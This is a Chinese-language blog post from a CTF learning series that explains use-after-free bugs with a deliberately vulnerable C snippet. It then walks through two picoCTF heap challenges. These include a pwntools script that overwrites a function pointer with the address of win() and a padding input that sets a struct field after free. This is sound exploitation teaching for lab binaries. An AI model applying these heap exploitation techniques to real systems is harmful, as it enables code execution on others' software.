iT邦幫忙

2024 iThome 鐵人賽

DAY 13
0

Use-After-Free

當記憶體區塊被釋放後,程式仍然使用該已釋放的記憶體。通常由不當的指標操作引起,會導致有未定義行為發生,或成為攻擊者利用的漏洞。

成因:

  1. 釋放後未重置指標:當記憶體被釋放後,指標仍然指向那段記憶體,程式不小心繼續使用這個指標就會發生 UAF。
  2. 多指標引用問題:若有多個指標指向同一區塊記憶體,當其中一個指標釋放記憶體,其他指標未同步更新,便可能造成 UAF。
  3. 記憶體重新分配:程式可能在釋放後,未來的某個時候重新分配了這塊記憶體,而指標指向的數據已經被改變。

產生的影響:

  1. UAF 會導致程式試圖訪問無效或已重新分配的記憶體,使程式崩潰或發生不可預測的錯誤。
  2. 攻擊者可以利用 UAF 漏洞在釋放後的記憶體插入惡意代碼,當程式再次使用該記憶體時,攻擊者可以控制程式的行為,進而執行任意代碼。

舉個例子:

#include <stdio.h>
#include <stdlib.h>

int main() {
    int *ptr = (int *)malloc(sizeof(int));  // 分配記憶體
    *ptr = 42;                              // 將數值 42 儲存至記憶體
    printf("ptr: %d\n", *ptr);              // 印出指標內容
    
    free(ptr);  // 釋放記憶體
    printf("ptr after free: %d\n", *ptr);  // 繼續使用已釋放的記憶體 (UAF)
    
    return 0;
}

ptr 指向一個無效的記憶體位址。使得程式在運行時無法預測指標的行為或指向的數據,導致程式不穩定或存在安全漏洞。

今天我們將利用兩個 Lab 來練習怎麼利用此漏洞

Lab_1 - heap 2

https://ithelp.ithome.com.tw/upload/images/20240927/20169462ozEQhiifqc.png

先用 nc 指令進去後,選擇選項 1,會發現 bico 與目標的 pico 差了 (d2)16 進制 - (b2)16 進制 = (32)10 進制
https://ithelp.ithome.com.tw/upload/images/20240927/20169462icc2OqCezz.png

觀察題目附上的程式碼,可以發現 check_win() 會去讀 x 指向的位置

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void check_win() { ((void (*)())*(int*)x)(); }

在 Linux 環境下執行 readelf -s chall,找出 win() 的位置,讓他能夠被讀到
https://ithelp.ithome.com.tw/upload/images/20240927/20169462nqU9N9ax0p.png

由於提示提到 right endianness,所以我們需要反著看。00 40 11 a0 ->a0 11 40 00。寫個 pwn 的腳本並執行就能拿到 flag

from pwn import *

# 連線
p = remote("mimas.picoctf.net", 60264)

# 選擇選項 2
p.sendline(b"2")
p.recvuntil(b"buffer:")
# 送出我們的 payload
# \xa0\x11\x40\x00 是我們剛剛看過的 win()的位置
p.sendline(b"hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh\xa0\x11\x40\x00")

p.recvuntil(b"choice:")
# 選擇選項 4 印出 flag
p.sendline(b"4")
print(p.recvall())

Lab_2 - heap 3

https://ithelp.ithome.com.tw/upload/images/20240927/201694627wxI1Xi2AW.png

觀察程式碼,使用到 free() 這個漏洞,只要將 x 指向 flag

void free_memory() {
    free(x);
}

if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

而我們要設法將 flag 的值設程 pico,可以發現 object 這個結構,在 flag 前需要填充 30 個字元

typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

於是我們輸入 30ffffffffffffffffffffffffffffffpico

https://ithelp.ithome.com.tw/upload/images/20240927/20169462JKCrg0XHi1.png

成功獲得 flag

https://ithelp.ithome.com.tw/upload/images/20240927/20169462yfUVf3zJGP.png

內文如有錯誤,還請不吝指教~


上一篇
Day12 - [Pwn] Heap
下一篇
Day14 - [Pwn] Buffer Overflow
系列文
新手村預備,CTF 小菜雞跌跌撞撞的旅程30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言